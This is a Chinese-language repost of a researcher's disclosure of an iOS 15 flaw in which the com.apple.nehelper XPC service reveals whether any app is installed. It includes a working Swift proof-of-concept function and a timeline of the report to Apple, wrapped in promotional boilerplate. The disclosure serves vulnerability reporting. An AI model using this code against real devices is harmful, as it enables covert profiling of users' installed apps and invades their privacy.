Jailbreak #002

Posted 程序员大咖

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jailbreak #002相关的知识,希望对你有一定的参考价值。

👇👇关注后回复 “进群” ,拉你进程序员交流群👇👇

来源丨小集(ID:zsxjtip)

报告人:illusionofchaos

可复现系统版本:iOS 15

该漏洞允许任何用户安装的应用程序根据 bundle ID 确定设备上是否安装了任何应用程序。

XPC 端点 com.apple.nehelper 有一个任何应用都可以访问的方法,该方法接受 bundle ID 作为参数,如果设备上安装了具有匹配 bundle ID 的应用,则返回包含一些缓存 UUID 的数组,否则返回空数组。这发生在 /usr/libexec/nehelper 中的 -[NEHelperCacheManager onQueueHandleMessage:] 中。

func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}

时间线:

2021 年 5 月 4 日 - illusionofchaos向 Apple 报告了该漏洞

5 月 4 日 - Apple 承认了illusionofchaos的报告

5 月 20 日 - illusionofchaos请求更新状态(但没有得到回复)

7 月 20 日 - illusionofchaos再次请求状态更新

8 月 12 日 - 苹果回复称仍在调查中

-End-

最近有一些小伙伴,让我帮忙找一些 面试题 资料,于是我翻遍了收藏的 5T 资料后,汇总整理出来,可以说是程序员面试必备!所有资料都整理到网盘了,欢迎下载!

点击👆卡片,关注后回复【面试题】即可获取

在看点这里好文分享给更多人↓↓

以上是关于Jailbreak #002的主要内容,如果未能解决你的问题,请参考以下文章

「网易官方」极客战记(codecombat)攻略-游戏开发2-越狱-jailbreak

Jailbreak #001:Gamed 0-day 漏洞

使用unc0ver(5.3.1)实现jailbreak踩坑

Saïgon – iOS 10.2.1 Jailbreak 越狱图文教程 -附带英文

002_FreeRTOS临界段代码

使用 AWS MediaTailor 替换 VOD 广告